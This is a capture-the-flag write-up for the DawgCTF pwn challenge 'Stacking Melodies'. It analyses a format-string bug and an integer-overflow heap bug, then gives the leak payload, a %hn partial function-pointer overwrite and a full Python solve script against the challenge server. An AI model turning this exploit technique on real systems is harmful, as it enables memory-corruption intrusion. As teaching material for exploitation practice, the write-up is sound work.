Stacking Melodies
Stacking Melodies
Platform: metactf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-04-10 | Status: Solved Techniques: format_string_leak, partial_function_pointer_overwrite, ret2win
Summary
Task: a public DawgCTF / UMBCCyberDawgs source release exposes a non-PIE packet parser with both a format-string bug and an integer-overflow-backed heap overflow. Solution: use the format string to leak code pointers, infer the remote win() offset, and partially overwrite the logging function pointer with %hn to jump to the flag printer.
Stacking Melodies — metactf
Description
A server at
nc.umbccd.net 8929is hosting the same code, but theirs has a flag, retrieve it. Public source:https://github.com/UMBCCyberDawgs/dawgctf-sp26/tree/main/Stacking%20melodies
This challenge came from the public UMBCCyberDawgs / DawgCTF '26 repository, while my local workspace grouped it under metactf. We are given the source for a 64-bit Linux service that parses a small custom packet, prints a title field, computes a rating, and then calls a function pointer stored in a heap-allocated session context.
Analysis
The public source immediately reveals two memory corruption bugs.
1. Primary bug: format string
The title is attacker-controlled and reaches:
c read-only • copy allowedprintf(title);
This gives both an information leak and an arbitrary write through %n if one of the stack arguments resolves to a writable pointer.
2. Secondary bug: integer overflow into heap overflow
The code also validates the data length incorrectly:
c read-only • copy allowedstatic inline int validate_size(uint32_t sz) { size_t aligned = (sz + 7) & ~7; return (int)aligned; }
Later it allocates with:
c read-only • copy allowedsize_t stream_size = (size_t)(d_len + 0x40); char *stream_buf = malloc(stream_size); fread(stream_buf, 1, d_len, stdin);
Because validate_size() returns an int after alignment while the real allocation uses d_len + 0x40, a large d_len can wrap and produce a too-small heap chunk before fread() copies the full attacker-controlled size. That looks exploitable, but I did not need it for the solve.
Build assumptions
The source comment says the binary was compiled with:
c read-only • copy allowedgcc -no-pie -g in.c -o out
That matters a lot: a non-PIE binary keeps stable text addresses, so once a code pointer is leaked, nearby functions such as win() can be inferred reliably.
Exploitation
Step 1: confirm the format-string layout remotely
I first sent a title of the form:
text read-only • copy allowed%1$p|%2$p|%3$p|...|%40$p
The remote output included these useful values:
- arg8 =
0x4 - arg9 =
0x4063f0 - arg15 =
0x4014bb - arg19 =
0x40148f
The important observation is that several leaked code pointers sit in the 0x401000 range, exactly what we expect from a non-PIE ELF. Argument 9 also gave a writable target usable with %n.
Step 2: line up local and remote addresses
Compiling the public source locally as a non-PIE Linux x86_64 binary produced matching structure but slightly different code offsets:
- local arg15 =
0x4014a1 - local arg19 =
0x401475 - local
win=0x401234
The remote leaks are consistently shifted by +0x1a:
0x4014bb - 0x4014a1 = 0x1a0x40148f - 0x401475 = 0x1a
The most likely reason is a small source difference in the deployed binary. In practice, a local variant where calculate_rating() returns rand() instead of 0 reproduces that shift.
So the remote win() address is inferred as:
text read-only • copy allowed0x401234 + 0x1a = 0x40124e
Step 3: partially overwrite the function pointer
After the vulnerable printf(title), the program does:
c read-only • copy allowedctx->server_logging("Rating", rating);
Originally this function pointer targets log_event(), which already lives in the same non-PIE text segment. That means I do not need to write the full 8-byte pointer. Replacing only the low 16 bits is enough to retarget it to win().
The low 16 bits of remote win() are:
text read-only • copy allowed0x124e = 4686
The working payload was exactly:
text read-only • copy allowed%8$4686c%9$hn
Why it works:
%8$4686cpads the output count to4686characters.%9$hnwrites that count as a 16-bit value to the address referenced by argument 9.- The low two bytes of the stored function pointer become
0x124e. - When the program later calls
ctx->server_logging, execution jumps intowin().
Step 4: get the flag
Once the overwritten function pointer is invoked, win() opens flag.txt, prints it, and exits. The remote service returned:
text read-only • copy allowedDawgCTF{REDACTED}
Solve Script
python read-only • copy allowed#!/usr/bin/env python3 import re import socket import struct import sys HOST = "nc.umbccd.net" PORT = 8929 MAGIC = 0x564D576E FLAG_RE = re.compile(rb"DawgCTF\{[^\r\n]{0,200}\}") def send_packet(title: bytes, data: bytes, timeout: float = 5.0) -> bytes: pkt = struct.pack("<III", MAGIC, len(title), len(data)) + title + data s = socket.create_connection((HOST, PORT), timeout=10) s.sendall(pkt) s.settimeout(timeout) out = b"" try: while True: chunk = s.recv(65536) if not chunk: break out += chunk except TimeoutError: pass finally: s.close() return out def leak() -> bytes: title = b"|".join(f"%{i}$p".encode() for i in range(1, 41)) return send_packet(title, b"AAAA", timeout=3.0) def exploit() -> bytes: # Remote win() inferred from leaked non-PIE addresses: # local win 0x401234 + remote shift 0x1a = 0x40124e. # Low 16 bits are 0x124e == 4686. title = b"%8$4686c%9$hn" return send_packet(title, b"AAAA", timeout=10.0) def main() -> int: mode = sys.argv[1] if len(sys.argv) > 1 else "exploit" out = leak() if mode == "leak" else exploit() sys.stdout.buffer.write(out) m = FLAG_RE.search(out) if m: print(f"\nFLAG={m.group().decode()}") return 0 return 1 if __name__ == "__main__": raise SystemExit(main())